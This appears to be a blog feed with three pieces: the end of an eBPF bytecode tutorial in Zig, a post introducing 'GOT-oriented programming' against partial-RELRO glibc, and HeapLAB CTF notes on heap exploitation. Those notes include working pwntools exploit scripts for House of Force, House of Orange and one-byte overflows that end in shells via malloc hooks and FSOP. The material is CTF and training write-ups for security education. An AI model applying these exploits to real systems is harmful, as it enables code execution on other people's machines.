That is to say, eBPF programs that use certain features require BTF information in order to pass verification.6
To see this in action, let’s rewrite the previous program using the bpf_loop helper and the bpf_strcmp KFunc.
According to the docs the second argument of bpf_loop, void *callback, is a pointer to a static function.
But wait, how do you define a (static) function within an eBPF program?
The preferred verbiage for functions within a program seems to be “subprograms”, which are subsequences of instructions within the list of instructions that you pass to the bpf syscall.
To let the verifier know that your subprogram exists, you need to use a special variant of the CALL or LD opcodes, which jump to a program-local function or load a program-local function pointer into a register, respectively.
BPF Verifier output:
missing btf func_info
verification time 13905 usec
stack depth 24+0
processed 13 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 0
error: InvalidProgram
/nix/store/pp3rdgdy6pnji9zm91qqcd6c86wljw58-zig-0.15.2/lib/zig/std/os/linux/bpf.zig:1710:5: 0x10c0602 in prog_load (tmp.vvZfe6NDKR)
/tmp/nix-shell.6Qivnq/tmp.vvZfe6NDKR.zig:167:20: 0x10c15cf in main (tmp.vvZfe6NDKR)
Ok, now the verifier is upset because we’re missing btf func_info.
Basically, if we want to use callbacks, we need to tell the verifier the type signatures of all of our subprograms.
When loading our program, one of the attributes we can pass in is func_info, which is a pointer to an array of bpf_func_info structs, each of which contains an offset of a subprogram and a “type id” for a BTF_KIND_FUNC_PROTO representing that subprogram’s type information.
A type id is basically an index into the list of types contained within a BTF object; because a BPF map or program can only reference types within a single BTF object (not counting btf_vmlinux), for all intents and purposes you should shove any type information your program will need into one BTF object.
Fortunately, constructing a BTF object is fairly straightforward (if not a little tedious), so I will let the code do the talking:
I make no claims that the code above is fundamentally correct (several BTF types are left unimplemented, not to mention I doubt it’s idiomatic Zig), but it gets the job done for our purposes.
Once we have our BTF, we load it using the BPF_BTF_LOAD subcommand, and we can then reference it by its fd when creating maps or programs.
The next thing to deal with is how to call a KFunc.
There’s a variant of the CALL opcode that calls a function by BTF ID for exactly this purpose, so the next logical question is: how do we find the BTF ID for our KFunc?
The normal way to do this is generate vmlinux.h with pahole/bpftools (bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h), but in the spirit of roughing it, we’ll forego that in favor of parsing btf_vmlinux directly.
I say “parse”, but we actually only care about a specific BTF_KIND_FUNC with the name we’re searching for, so my implementation ignores everything besides that.
BTF Verifier output:
magic: 0xeb9f
version: 1
flags: 0x0
hdr_len: 24
type_off: 0
type_len: 132
str_off: 132
str_len: 29
btf_total_size: 185
[1] FUNC foo type_id=2
[2] FUNC_PROTO (anon) return=3 args=(5 foo)
[3] INT (anon) size=32 bits_offset=0 nr_bits=32 encoding=(none)
[4] DECL_TAG arg:ctx type=1 component_idx=0
[5] PTR (anon) type_id=0
[6] FUNC foo type_id=7
[7] FUNC_PROTO (anon) return=8 args=(8 foo, 5 foo)
[8] INT (anon) size=64 bits_offset=0 nr_bits=64 encoding=(none)
info: Sent 'foo', received 'foo'
info: Sent 'bar', received 'bar'
info: Sent 'foobar', received ''
info: Sent 'fooba', received 'fooba'
info: Sent 'snafu', received 'snafu'
info: Sent 'ffoobarbaz', received ''
info: Sent 'bazbarfoo', received 'bazbarfoo'
Hopefully this has been educational and helpful if you have the misfortune pleasure of working with eBPF at the bytecode level, whether you’re a security researcher hunting for bugs in the kernel or you just want to better understand how libbpf works.
This blog post is based on previous work with eBPF and Zig done at Recurse Center. If you want to program at the edge of your abilities, consider applying.
The original title of this post was “eBPF the Hard Way,” which I have since realized is easily confused with Xmigrate’s eBPF tutorial and Zhenzhong Wu’s blog post of the same name. ↩︎
All of the code in this blog post is dual licensed under the GPLv2-only and the CC BY 4.0. ↩︎
eBPF programs will normally run as interpreted bytecode, or native machine code if /proc/sys/net/core/bpf_jit_enable is set to 1 (it may be permanently set to 1 if your kernel was built with CONFIG_BPF_JIT_ALWAYS_ON). There are security implications for a system choosing to let users use the interpreter or the JIT, the nuances of which are out of scope for this post. ↩︎
Including the rather exotic BPF_PROG_TYPE_LIRC_MODE2 for IR remotes. ↩︎
While this was originally done to counter Spectre-style attacks, it also has the effect of serving as a second line of defense in case an attacker is able to convince the verifier that a register is equal to some constant when it actually isn’t. ↩︎
This also means that if your kernel was configured with CONFIG_BPF_SYSCALL but withoutCONFIG_DEBUG_INFO_BTF, eBPF programs that require information from btf_vmlinux cannot be verified. ↩︎
]]><![CDATA[GOT-Oriented Programming]]>https://feyor.sh/blog/got-oriented-programming/George Huebner2026-02-14T00:00:00+00:002026-06-17T23:08:20-07:00The other day I was working on a pwn challenge and I noticed something interesting: its version of libc had partial RELRO enabled.
To redirect control flow I tried overwriting one of libc’s GOT entries with a one_gadget, but I didn’t have enough register control to pop a shell.
That got me thinking: what if we could use libc’s GOT as a sort of jump table?
This is a technique (itself a specific kind of JOP) I’d like to dub1 called “GOT-oriented programming” (GOP).
The GOT overwrite attack is as old as time memoriam; clobber a GOT/PLT entry and redirect execution of a particular function to an attacker controlled address.
Developers have wised up since then and realized the cons of lazy binding GOT entries far outweigh the pros, so an option called full RELRO (-z,now) was implemented which disables lazy binding and makes the GOT read-only.2
Although you usually hear about the GOT in the context of a binary dynamically linked against glibc, glibc has its own GOT to determine at runtime the most efficient version of a function that the hardware supports (stuff like AVX optimized memcpy).
Because these optimized functions are somewhat common (otherwise, why bother optimizing them), there are many gadgets in libc that setup registers for a function call and then perform an indirect jump to a GOT entry.
In practice, it only takes a few of these “GOP gadgets” to achieve nearly full register control, and from there it’s trivial to get a shell.
To be specific, the requirements for GOP are
Libc compiled with partial (or no) RELRO (for Ubuntu, this is glibc < 2.39)
Libc leak to defeat ASLR (if applicable)
(Semi-)arbitrary write that can target libc’s GOT
A function in libc’s .got.plt needs to be called at some point after the corruption takes place in order to start the GOP chain
I’ve found this to be an interesting way to pivot an arbitrary write to code execution, even if it’s not as fancy as techniques like setcontext, FSOP, or _dini_handler.
I’ll demonstrate the power of this technique with a simplified example using glibc 2.433 (compiled with --disable-bind-now):
{
description =''the best part was when he said "IT'S GOPPIN' TIME" and gopped all over those guys'';
inputs.nixpkgs.url ="github:NixOS/nixpkgs/nixpkgs-unstable";
outputs = { nixpkgs,... }:
let system ="x86_64-linux";
lib = nixpkgs.lib;
pkgs =import nixpkgs { inherit system; };
in {
packages.${system}.default =with pkgs; let glibc' = stdenv.mkDerivation rec {
pname ="glibc";
version ="2.43";
src = fetchurl {
url ="mirror://gnu/glibc/glibc-${version}.tar.xz";
hash ="sha256-2chsa12920Oj4IJwxYRPxRd9GUQs9bjfS+fAfNX6ODE=";
};
nativeBuildInputs = [
bison
python3Minimal
];
NIX_NO_SELF_RPATH = true;
preConfigure =''
mkdir build; cd build
configureScript="$(pwd)/../configure"
export NIX_DONT_SET_RPATH=1
'';
configureFlags = [
(lib.enableFeature false "bind-now")
(lib.enableFeature true "cet")
];
hardeningDisable = [
"fortify""bindnow" ];
};
gcc' = wrapCCWith {
cc = gcc-unwrapped;
libc = glibc';
bintools = binutils.override { libc = glibc'; };
};
stdenv' = overrideCC stdenv gcc';
in stdenv'.mkDerivation {
name ="pwnable";
src =./.;
env = {
NIX_CFLAGS_COMPILE ="-fcf-protection=full";
NIX_LDFLAGS ="-z cet-report=error";
};
buildPhase ="$CC pwnable.c -o pwnable";
installPhase ="mv pwnable $out";
};
};
}
To start, we should investigate what functions are in glibc’s GOT:
Next, let’s investigate which of the above functions are called throughout the program.
Nothing is called as part of glibc’s exit routine, but what about in the core loop?
GDB
start
# first printf
tb *main+148
c
record btrace
set record btrace bts buffer-size unlimited
# second printf
tb *main+94
c
set record function-call-history-size unlimited
record function-call-history /c
Aha! printf ends up calling strchrnul and memcpy through their .got.plt entries, which we can hijack!4
Note that the functions read@plt and strcmp@plt are entries in our program’s GOT, not libc’s.
Now, given the completely arbitrary write and libc leak there are a myriad of ways to achieve code execution, but let’s try some GOP.
To up the ante, I will only consider gadgets that start at the beginning of functions so our exploit will work even if IBT is enabled.5
We have very limited stack control and absolutely no register control when either of strchrnul or memcpy are called, so we need a gadget that can read the contents of writable libc memory into a register.
After some searching I came across this guy:
ASM
__error_at_line_internal:
// ...
mov rax, qword [rel error_one_per_line]
mov dword [rbp-0x44 {var_4c}], edi
mov eax, dword [rax]
test eax, eax
je label1
label1:
cmp dword [rel old_line_number.0], ecx
je label2
label2:
mov rdi, qword [rel old_file_name.1]
cmp rdi, rdx
je bad
test rdx, rdx
je bad
test rdi, rdi
je bad
mov rsi, rdx
call j___GI_strcmp
bad:
// ...
There’s a lot of unrelated stuff going on, but the general idea is that rdi is set to the value of a variable in libc’s .bss section (old_file_name) before jumping to a .got.plt function (strcmp).
The conditions we need to meet for this codepath are
error_one_per_line != 0
old_line_number == ecx (here ecx is 2)
old_file_name != rdx && old_file_name != 0 && rdx != 0 (the first two conditions are trivial because we want to control old_file_name anyway, and rdx happens to be nonzero)
But that’s a very short chain… what if we needed to cat the flag without a shell?
Here’s a (likely overcomplicated) GOP chain used to print the contents of "/tmp/flag.txt" and then cleanly exit the program:
As I said, you’re unlikely to find a modern version of glibc compiled with partial RELRO in the wild, but hopefully this can serve as a tool for more contrived situations like CTFs.
I also wanted to mention related works by n132 and pepsipu; although these are not quite the same thing as GOP, they are still interesting (and perhaps more practical) examples of pivoting an arbitrary write into code execution.
After publishing this I came across a writeup by Thea “Teddy” Heinen written over two years ago that uses the same terminology. Credit where credit is due! ↩︎
Although it’s a little unclear when full RELRO was introduced, security-conscious distros like Arch and Fedora have been building glibc with it since the early 2000s. ↩︎
Although I’m focusing on glibc in this post, GOP can also be used to attack libraries like libstdc++. ↩︎
Using puts instead of printf would also work because it calls j___GI_strlen. ↩︎
This is a much more restrictive subset of all possible GOP gadgets and limiting your options like this isn’t really necessary in practice, but I wanted to demonstrate that CET cannot defend against this attack. ↩︎
Below are some of my notes and challenge writeups for Max Kamper’s excellent Glibc malloc pwn course, HeapLAB.
This page will be updated with more challenges in the future.
House of Force
This technique comes from Phantasmal Phantasmagoria’s Malloc Maleficarum, one of the most seminal early works in pwning Glibc malloc (and the reason so many heap exploits are called “House of XYZ”).
In Glibc, malloc requests for memory are serviced from the top chunk (aka the wilderness).
Because heap metadata is stored in-line (the size of a chunk occupies the first 8 bytes of every chunk, just before the address returned from malloc), if we have a heap overflow we can clobber this metadata and create a huge top chunk; so huge in fact that it wraps around the virtual address space to an address before the start of the top chunk.
Then we can request a massive chunk from malloc that stops just short of our target address such that the first 8 bytes of the (new) top chunk reside at the target address.
Use the same heap overflow as before and we’ve overwritten the target value!
Solve
The vulnerability in this binary is that read uses the size of the chunk (returned by malloc_usable_size), not the size of the user’s data, resulting in an 8 byte overflow if we request CHUNK_SIZE-8 bytes from malloc (this is the maximum size of user data that can fit in a chunk of size CHUNK_SIZE).
Python
from pwn import*context.log_level ='warning'elf = context.binary = ELF("house_of_force")
libc = ELF(elf.runpath +b"/libc.so.6")
defmalloc(size, data):
proc.send(b"1")
proc.sendafter(b"size: ", f"{size}".encode())
proc.sendafter(b"data: ", data)
proc.recvuntil(b"> ")
proc = remote("localhost", 1337)
proc.recvuntil(b"puts() @ ")
libc.address =int(proc.recvline(), 16) - libc.sym.puts
proc.recvuntil(b"heap @ ")
heap =int(proc.recvline(), 16)
proc.recvuntil(b"> ")
info(f"heap: 0x{heap:02x}")
proc.timeout =0.5malloc(0x20-8, b"A"*(0x20-8) + p64(0xffffffffffffffff))
# we're calculating the distance between the end of the previous chunk and the address exactly one chunk away (0x20 bytes) from __malloc_hook, so that the next chunk we allocate will overwrite __malloc_hook# also we have a heap leak so put /bin/sh on the heapmalloc((libc.sym.__malloc_hook-0x20) - (heap+0x20), b"/bin/sh\x00")
malloc(0x20-8, p64(libc.sym.system))
# the size of the chunk gets passed to __malloc_hook, so we will allocate &"/bin/sh\x00" bytesmalloc(heap+0x20+0x8+0x8, b"")
proc.sendline(b"id")
print(proc.recvall(timeout=0.1))
This time the vuln is a nice and simple double free: free doesn’t check if an index was previously freed, so we can free a previously mallocβed chunk as many times as we want.
Before we move on let’s talk about in-band (stored on the heap) vs out-of-band (stored somewhere besides the heap) heap metadata.
We saw previously that the size of a chunk is stored in the chunk itself, but how does malloc know where e.g. the top chunk is in order to service a request?
A heap arena is a data structure that does all of the necessary bookkeeping for the heap, or more accurately a heap.
When a program has multiple threads, it would be inefficient to have to contend for a lock for every allocation/free, so each thread (up to a limit) gets their own slice of the heap (the section of program memory) governed by their own heap arena.
struct malloc_state
{
/* Serialize access. */__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. *//* Note this is a bool but not all targets support atomics on booleans. */int have_fastchunks;
/* Fastbins */ mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top;
/* The remainder from the most recent split of a small request */ mchunkptr last_remainder;
/* Normal bins packed as described above */ mchunkptr bins[NBINS *2-2];
/* Bitmap of bins */unsignedint binmap[BINMAPSIZE];
/* Linked list */struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
The important bit of metadata we care about here are the fastbins.
As an optimization for small (and therefore frequent) allocations, for chunk sizes within the first NFASTBINS multiples of the smallest chunk size, freeing a chunk of this size adds it to a corresponding singly linked list (and the heads of these linked lists are stored in fastbinsY).
And while the heads of the linked lists are stored in the arena, subsequent pointers are stored in-line in the chunks themselves, overlapping with where user data normally goes.
Combining this knowledge with our double free, we could free chunk A twice, causing it to be added to the corresonding fastbin freelist twice; then we could malloc chunk B of the same size as A, and the first 8 bytes of the user accessible data of chunk B that malloc returns will still be interpreted as a fd pointer for the next occurence of chunk A (the one that’s still in the freelist).
Then we could corrupt this fd pointer and when we allocate another chunk C, malloc will return a chunk at wherever the corrupted fd points.
As an additional complication, we can’t actually just allocate chunk A and then free it twice, because malloc checks if the chunk we’re adding to the freelist is the same chunk that’s at the head of the freelist:
This is trivially bypassed by freeing a different chunk in between the two freeβs of chunk A.
Solve
There are a few complications to address when actually writing the exploit.
We have a libc leak again so malloc hooks (particularly __malloc_hook and __free_hook) are viable targets.
However, because this time we’re allocating a fake chunk from a corrupted freelist pointer, the 16 bytes before our target must be valid metadata for a freed chunk.
__free_hook is surrounded by zeroes so it’s a no-go, but __malloc_hook is a different story:
Instead of putzing around with finding a good alignment ourselves, we can let pwndbg do it for us:
But a size field of 0xf8 is larger than that of the largest chunk’s fastbin (0x80).
The values of _IO_wide_data_0+240 differ between my aarch64-linux NixOS VM (running the binary with QEMU/Rosetta) and the intended x86_64-linux Ubuntu VM, so this approach won’t work for my setup specifically.
The same is also true for trying FSOP, as we can’t create a fake chunk in __GI__IO_file_jumps.
We’ll soon discuss a very interesting method of using the fastbin dupe to corrupt main_arena’s top_chunk pointer, but that requires more allocations than the 7 we’re permitted here, so we’ll settle for overwriting the target for now.
So I hinted that there’s a way to corrupt main_arena’s top_chunk pointer to achieve a truly arbitrary write, and indeed we’ll do just that.
The basic idea is that we have an arbitrary write over the fastbin head pointers; most values don’t point to valid freed fastbin chunks and will therefore crash during the integrity checks when allocating from that fastbin, but what if we used that value to create a fake free fastbin cache inside main_arena?
Then we could use another fastbin dupe to clobber the top chunk pointer, which is convenient because allocations serviced from the top chunk are not subject to the same strict size integrity checks as fastbin chunks!
By settings the the top pointer to just before __malloc_hook (with some misalignment introduced to ensure the fake top chunk has a valid size field), we can jump to a one_gadget when we next call malloc:
0xc4dbf execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xc4ddf execve("/bin/sh", rbp-0x40, r12)
constraints:
address rbp-0x38 is writable
rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xc4de6 execve("/bin/sh", rbp-0x40, r12)
constraints:
address rbp-0x38 is writable
rax == NULL || {rax, rdi, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xe1fa1 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
As it happens we control the contents of [rsp+0x50], which we can set to a string that prevents further argument processing; "-s" does the trick for dashβ/βbash.
When a “normal” chunk is freed, it is added to the unsortedbin doubly linked list; this behaves very similarly to the fastbins, except there’s now an additional bk pointer stored after the fd pointer.
But having a bunch of randomly sized chunks in a freelist is not really ideal, as we’d like to be able to reclaim these chunks and use them for even larger allocations.
Enter chunk consolidationβwhen a chunk is freed, malloc will check if the chunk’s neighboring chunks are also freed, in which case malloc will backwards and/or forwards consolidate the chunks into a single larger chunk.
But a freed chunk is still inside the unsortedbin we talked about earlier, so before this consolidation can occur malloc has to unlink one or more nodes from the unsortedbin linked list (as the chunk being freed is merged with one or both of its neighboring chunks).
In older versions of Glibc this linked list unlinking was not performed safely, so by corrupting heap chunks one could leverage this chunk consolidation for a (somewhat constrained) reflected write.2
Solve
In this challenge we can write 8 bytes past the end of our requested size, which we can use to corrupt the next chunk’s size field and flags.
By clearing chunk B’s prev_inuse flag, we can convince malloc that the chunk before chunk B (chunk A) is freed for the purposes of chunk consolidation when chunk B is freed.
When we free chunk B, malloc will attempt to unlink chunk A from the unsortedbin freelist by setting chunk_a.bk->fd = chunk_a.fd and chunk_a.fd->bk = chunk_a.bk (using temporary variables where appropriate):
With that in mind the exploit is pretty straightforward.
Unfortunately I can’t use the OG method of writing shellcode on the heap because in QEMU/Rosetta the heap isn’t marked executable (even though the stack isβweird), and we can’t use a one_gadget because Glibc .text isn’t writable:
[*] './unsafe_unlink'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
RUNPATH: b'../.glibc/glibc_2.23_unsafe-unlink'
Stripped: No
Debuginfo: Yes
This is effectively the same as unsafe unlink, except now integrity checks have been introduced to the unlinking process that thwart our previous approach:
/* Take a chunk off a bin list. */staticvoidunlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) !=prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize !=NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize ==NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else {
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else {
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
Basically, the addresses we’re writing to actually need to point to our chunk, which severely limits our options.
But as it turns out, unlink_chunk can still be leveraged for an arbitrary write, but in a way that’s very specific to our target binary.
Solve
In our binary there exists a global variable m_array that has pointers to the chunks we’re allocating on the heap.
We can craft a fake freed chunk A with fd and bk pointers that point to m_array[0], which in turn points back to chunk A, thus passing the integrity checks.
As an additional complication we can’t free chunk A as-is, but that’s fineβwe can create a smaller fake chunk within chunk A and use that.
This has the effect of clobbering m_array[0].user_data to point to itself; when we try to edit chunk A, we’re actually editing m_array[0].
From there we can overwrite m_array[0].user_data to point to __free_hook, and edit “chunk A” once more to write a one_gadget.
Or so I thought, but as it turns out I couldn’t satisfy any of the conditions of the one_gadgets, even with rdiβ/β[rdi] or rax control (by clobbering m_chunk[1].user_data).
But if we have an arbitrary write, we can just write "/bin/sh" at the start of our fake chunk and set __free_hook to system, nice and simple.
Fast forward to 2016 when the House of Orange technique was introduced at HITCON CTF Quals.
This attack is a bit convoluted as it relies on internals of _IO_FILE for a specific version of Glibc, but the technique has pedagogical value for learning FSOP and the unsortedbin attack.
The prescient bit of information is that we can write the head of the unsortedbin (the first bin in main_arena.bins) freelist to an arbitrary address, where main_arena.bins[0] == &tail_of_unsortedbin.
There doesn’t seem to be an immediately obvious utility aside from leaking a libc address, but we can sneakily replace a different linked list head in Glibc with the head of the unsortedbin linked list.
The big non-heap candidate here is _IO_list_all, which is a linked list of _IO_FILE structures for stdio (stdin/stdout/stderr).
In a similar vein to the malloc hooks, _IO_FILE (or technically _IO_FILE_plus) has a vtable pointer that could be clobbered, and just like malloc hooks, we can reliably trigger execution of one or more functions in this vtable (_IO_flush_all_lockp will traverse all the files in _IO_list_all and execute each _IO_FILE’s __overflow method; we can trigger this by intentionally failing a heap corruption check, which will abort which eventually calls _IO_flush_all_lockp).
There are three “phases” to our House of Orange attack (phases two and three happen at the same time but I think it’s helpful to mentally separate them):
Clobber top chunk’s size field to a small page-aligned value and request a chunk larger than the top chunk can service.
This causes malloc to call sbrk for a new top chunk that can service the request, and the old top chunk is added to the unsortedbin freelist (it doesn’t get extended/consolidated because the new top chunk is not contiguous with the old one).
Overwrite the old top chunk’s bk pointer to 16 bytes before _IO_list_all; when we next request a chunk, _IO_list_all will be clobbered with main_arena.bins[0]-0x10 (aka the head of the unsortedbin freelist).
In addition to overwriting the old top chunk’s bk pointer, also construct a fake _IO_FILE_plus (and stuff in a _IO_jump_t somewhere) that coincides with the old top chunk.
There will be a few very basic checks against our fake _IO_FILE_plus, so be sure to pass those.
This has the secondary effect of corrupting the heap, which will call (fake_filep->vtable.__overflow)(&fake_filep, -1); because fake_filep->vtable.__overflow is set to system and flags is set to "/bin/sh" (flags is the first member of _IO_FILE, so &fake_filep == &fake_filep.flags), this calls system("/bin/sh").
Python
from pwn import*context.log_level ='warning'elf = context.binary = ELF("house_of_orange")
libc = ELF(elf.runpath +b"/libc.so.6")
defmalloc(size):
if size ==0x18:
proc.send(b"1")
elif size ==0xfc0:
proc.send(b"2")
else:
raise Exception("size must be 0xfc0 (large) or 0x18 (small)")
proc.recvuntil(b"> ")
defedit(data):
iflen(data) >0xf0:
raise Exception("data cannot be larger than 0xf0 bytes")
proc.send(b"3")
proc.sendafter(b"data: ", data)
proc.recvuntil(b"> ")
proc = remote("localhost", 1337)
proc.recvuntil(b"puts() @ ")
libc.address =int(proc.recvline(), 16) - libc.sym.puts
proc.recvuntil(b"heap @ ")
heap =int(proc.recvline(), 16)
proc.recvuntil(b"> ")
proc.timeout =0.5fake_vtable = flat(
p64(0),
p64(0),
p64(0xcafebabe),
p64(libc.sym.system),
)
fake_filep = flat(
b"/bin/sh\x00", # _flags / old_top_chunk.prev_size p64(0x60|0b1), # _IO_read_ptr / old_top_chunk.size p64(0),
p64(libc.sym._IO_list_all-0x10), # old_top_chunk.bk p64(1), # _IO_write_base p64(2), # _IO_write_ptr fake_vtable,
b"\x00"*(0xc0-0x30-len(fake_vtable)),
p32(0), # _modeb"\x00"*20,
p64(heap+0x20+0x30), # vtable)
# phase 1: turn top chunk into a small chunk and add it to the unsortedbinmalloc(0x20-8)
edit(b"A"*0x18+ p64((0x1000-0x20) |0b001)) # clobber top chunk's sizemalloc(0xfc0) # allocate a chunk large enough to brk a new top chunk and free the old one# unsortedbin: [old_top_chunk, size: 0xfc0, fd: &main_arena.bins[0], bk: &main_arena.bins[0]]# phase 3: fake _IO_FILE_plus with malicious vtableedit(b"A"*0x10+ fake_filep)
# unsortedbin: [old_top_chunk, size: 0x18, fd: NULL, bk: &main_arena-0x10]# phase 2: unsortedbin attack to clobber _IO_list_all to point to fake _IO_FILE_plusmalloc(0x20-8) # serviced from the unsortedbin, results in old_top_chunk.bk->fd = &old_top_chunkproc.sendline(b"id")
print(proc.recvline())
There are two main differences from the previous challenge.
First, we can only allocate chunks of size 0x60, so the chunk we use for the unsortedbin attack must be of size 0x68 instead; this will still fit in the 0x60 smallbin, but will avoid _int_malloc’s fastpath that avoids binning when the chunk in the unsortedbin is an exact match for the requested size.
/* Take now instead of binning if exact fit */if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av !=&main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void*p =chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
Second, instead of a very generous heap overflow we can only overflow the first byte of the next chunk’s size field (and flags).
Instead of clobbering the top chunk’s size field like we did last time, we can allocate two chunks next to each other, double the first chunk’s size, free this large chunk to put a 0xc0 sized chunk in the unsortedbin freelist and finally allocate a new 0x60 chunk to split the tail of the unsortedbin into two 0x60 sized chunks (the first of which is used to service the request).
This results in a UAF of the second chunk, which we can use to clobber unsortedbin linked list pointers (and ultimately leak libc/heap pointers and perform an FSOP attack).
Python
from pwn import*context.log_level ='warning'elf = context.binary = ELF("one_byte")
libc = ELF(elf.runpath +b"/libc.so.6")
defcalloc(size):
if size !=0x58:
raise Exception("size must be 0x58")
proc.send(b"1")
proc.recvuntil(b"> ")
deffree(index):
proc.send(b"2")
proc.sendafter(b"index: ", f"{index}".encode())
proc.recvuntil(b"> ")
defedit(index, data):
iflen(data) >0x59:
raise Exception("data cannot be larger than 0x59 bytes")
proc.send(b"3")
proc.sendafter(b"index: ", f"{index}".encode())
proc.sendafter(b"data: ", data)
proc.recvuntil(b"> ")
defread(index):
proc.send(b"4")
proc.sendafter(b"index: ", f"{index}".encode())
ret = proc.recvline().strip()
proc.recvuntil(b"> ")
return ret
proc = remote("localhost", 1337)
proc.recvuntil(b"> ")
proc.timeout =0.5calloc(0x60-8) # chunk Acalloc(0x60-8) # chunk Bcalloc(0x60-8) # chunk Ccalloc(0x60-8) # chunk Dcalloc(0x60-8) # chunk Ecalloc(0x60-8) # chunk Fcalloc(0x60-8) # chunk Gcalloc(0x60-8) # chunk H; protects other chunks against consolidation with top chunkedit(0, b"A"*0x58+ p8(0xc0|0b1)) # make chunk B completely overlap chunk Cedit(3, b"D"*0x58+ p8(0xc0|0b1)) # make chunk E overlap chunk Ffree(1) # free chunk B# unsortedbin: [chunk B (+ C), size: 0xc0, fd: &main_arena.top, bk: &main_arena.top]calloc(0x60-8) # chunk I; service this request from the tail of the unsortedbin, causing it to be split in two# unsortedbin: [chunk C, size: 0x60, fd: &main_arena.top, bk: &main_arena.top]# leakslibc.address = u64(read(2)[:8]) - (libc.sym.main_arena+0x58)
free(4)
# unsortedbin: [chunk E (+ F), size: 0xc0, fd: &chunk_c, bk: &main_arena.bins[0]-0x10] -> [chunk C, size: 0x60, fd: &main_arena.bins[0]-0x10, bk: &chunk_e]heap = u64(read(2)[8:16]) -0x180calloc(0x60-8) # chunk J# unsortedbin: [chunk E (+ F), size: 0xc0, fd: &main_arena.bins[0]-0x10, bk: &main_arena.bins[0]-0x10]calloc(0x60-8) # chunk K# unsortedbin: [chunk F, size: 0x60, fd: &main_arena.bins[0]-0x10, bk: &main_arena.bins[0]-0x10]# construct fake filefake_vtable = flat(
p64(0),
p64(0),
p64(0xcafebabe),
p64(libc.sym.system),
)
edit(10, b"K"*0x50+b"/bin/sh\x00"+ p8(0x68|0b1))
edit(5, flat(
p64(0),
p64(libc.sym._IO_list_all-0x10), # chunk_f.bk p64(1), # _IO_write_base p64(2), # _IO_write_ptr fake_vtable,
))
edit(6, flat(
b"\x00"*(0xc0-8-0x68),
p32(0), # _mode))
edit(7, flat(
b"\x00"*(20-0x8-4),
p64(heap+0x210), # vtable))
calloc(0x60-8) # chunk L; carry out unsortedbin attackproc.sendline(b"id")
print(proc.recvline())
If we have control over a pointer passed to free, we can craft a fake chunk overlapping target memory for an arbitrary write.
But there are caveats: especially on newer versions of Glibc, chunks being freed are subject to a bevy of integrity checks, so our fake chunk has to be nearly indistinguishable from a real chunk.
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
||__builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */if (__glibc_unlikely (size < MINSIZE ||!aligned_OK (size)))
malloc_printerr ("free(): invalid size");
Not be marked as non_main_arena (will probably segfault) or is_mmapped (will not add chunk to a freelist)
TODO Solve
Because we have a heap leak, the simplest thing to do is pivot to a double free and then use the fastbin dup technique, but alas, we can’t use the simple version due to the quirk of addresses behaving differently under QEMU (if we had more allocations it might be a different story).
This is a rather broad type of attack that involves tampering with heap metadata to link fake chunks into the different freelists (unsortedbins, smallbins, largebins) that malloc keeps track of.
A fake chunk can then be used to service a request, usually leading to a leak or a write primitive.
Solve
The challenge binary has a very straightforward UAF write bug which we can use to easily overwrite freelist pointers; the only trick is not failing malloc’s corruption checks.
This proceeds similarly to the unsortedbin attack; allocate one chunk and an extra padding chunk to prevent consolidation with the top chunk, free the first chunk, and edit that chunks’ bk pointer to insert a fake chunk in the unsortedbin.
The size of the first mallocβed chunk should be smaller than the size of the fake chunk so that malloc will skip the tail of the unsortedbin (the first chunk) and service the request with the fake chunk instead.
I’m sure there’s a way to pop a shell in this binary, but for the time being I’m going to take the easy way out and just focus on overwriting the target memory.
When malloc traverses the unsortedbin to service a request, it is simultaneously sorting the chunks it can’t use into the small and large bins (depending on their size).
So the strategy is the same as with linking into the unsortedbin, but there’s an additional check in the codepath that handles smallbins:
idx =smallbin_index (nb);
